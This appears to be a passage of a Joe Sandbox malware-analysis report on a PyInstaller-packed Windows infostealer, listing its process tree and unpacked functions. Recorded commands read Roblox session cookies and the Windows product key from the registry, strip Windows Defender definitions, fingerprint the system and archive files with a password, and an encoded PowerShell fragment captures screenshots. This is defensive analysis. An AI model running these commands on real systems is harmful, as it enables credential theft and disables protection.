ANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	01:19:26
Start date:	05/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline"
Imagebase:	0x7ff6b1ef0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	01:19:27
Start date:	05/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP"
Imagebase:	0x7ff7951e0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	01:19:27
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 5940, Parent PID: 3800

General

Target ID:	74
Start time:	01:19:27
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	01:19:28
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	01:19:28
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	01:19:28
Start date:	05/01/2025
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff635830000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	01:19:28
Start date:	05/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6bd590000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	02:36:05
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2980, Parent PID: 7620

General

Target ID:	80
Start time:	02:36:05
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	02:36:05
Start date:	05/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6bd590000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	02:36:05
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	02:36:06
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff649440000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	02:36:06
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	02:36:07
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4308, Parent PID: 8084

General

Target ID:	86
Start time:	02:36:07
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	02:36:07
Start date:	05/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6bd590000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	02:36:08
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7840, Parent PID: 6684

General

Target ID:	89
Start time:	02:36:08
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	02:36:08
Start date:	05/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6bd590000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	02:36:08
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	02:36:08
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	02:36:09
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	02:36:10
Start date:	05/01/2025
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff6b6530000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	02:36:15
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	02:36:15
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	02:36:15
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *
Imagebase:	0x7ff708090000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	02:36:17
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	02:36:17
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	02:36:17
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	02:36:18
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	02:36:18
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	02:36:18
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	02:36:19
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6488, Parent PID: 8060

General

Target ID:	105
Start time:	02:36:19
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	02:36:19
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	02:36:20
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	02:36:20
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	02:36:20
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	02:36:21
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2348, Parent PID: 7780

General

Target ID:	111
Start time:	02:36:21
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	02:36:21
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	02:36:22
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	02:36:22
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	02:36:22
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF7C2668BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C2669400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7C26645E4,00000000,00007FF7C2661985), ref: 00007FF7C2669439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668C46

Part of subcall function 00007FF7C267A4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267A500

Part of subcall function 00007FF7C267878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26787F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668CD6
CreateProcessW.KERNELBASE ref: 00007FF7C2668D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668D18

Part of subcall function 00007FF7C2662C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662C9E
Part of subcall function 00007FF7C2662C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662D63
Part of subcall function 00007FF7C2662C50: MessageBoxW.USER32 ref: 00007FF7C2662D99

RegisterClassW.USER32 ref: 00007FF7C2668D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668D7B
CreateWindowExW.USER32 ref: 00007FF7C2668DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668E05
PeekMessageW.USER32 ref: 00007FF7C2668E29
TranslateMessage.USER32 ref: 00007FF7C2668E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668E41
PeekMessageW.USER32 ref: 00007FF7C2668E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2668FF4
GetExitCodeProcess.KERNELBASE ref: 00007FF7C2669009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C2669012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7C2663F7F), ref: 00007FF7C266901F

Strings

PyInstaller Onefile Hidden Window, xrefs: 00007FF7C2668D85
CreateProcessW, xrefs: 00007FF7C2668D27
Failed to create child process!, xrefs: 00007FF7C2668D20
PyInstallerOnefileHiddenWindow, xrefs: 00007FF7C2668D44

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: e773f5bb6d2d9a308ee931383deb18d7a64ca4687a63f0e4beac69a3de8c7f4d
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 96D18431A08B8286E710AF74E8542A9B772FB44B68F800235DA9D63FA5DFBCD544C774

Function 00007FF7C2661000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi-disable-windowed-traceback, xrefs: 00007FF7C2663BB2
Failed to start splash screen!, xrefs: 00007FF7C2663ED4
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7C2663D12
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7C2663A0B, 00007FF7C2663CD4, 00007FF7C2663F6B
_PYI_SPLASH_IPC, xrefs: 00007FF7C2663A23, 00007FF7C2663EF5
